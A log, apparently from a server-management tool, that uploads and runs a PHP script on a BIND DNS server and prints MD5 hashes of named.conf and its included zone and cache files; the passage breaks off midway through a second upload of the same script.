MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 13:36:19: Establishing a connection
2026-04-23 13:36:19: 

PUT: /tmp/pkp453484

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 13:36:19: 

runuser -l bind -s /bin/bash -c '/tmp/pkp453484; rm /tmp/pkp453484'

2026-04-23 13:36:19: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 13:36:21: Establishing a connection
2026-04-23 13:36:21: 

PUT: /tmp/pkp848313

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
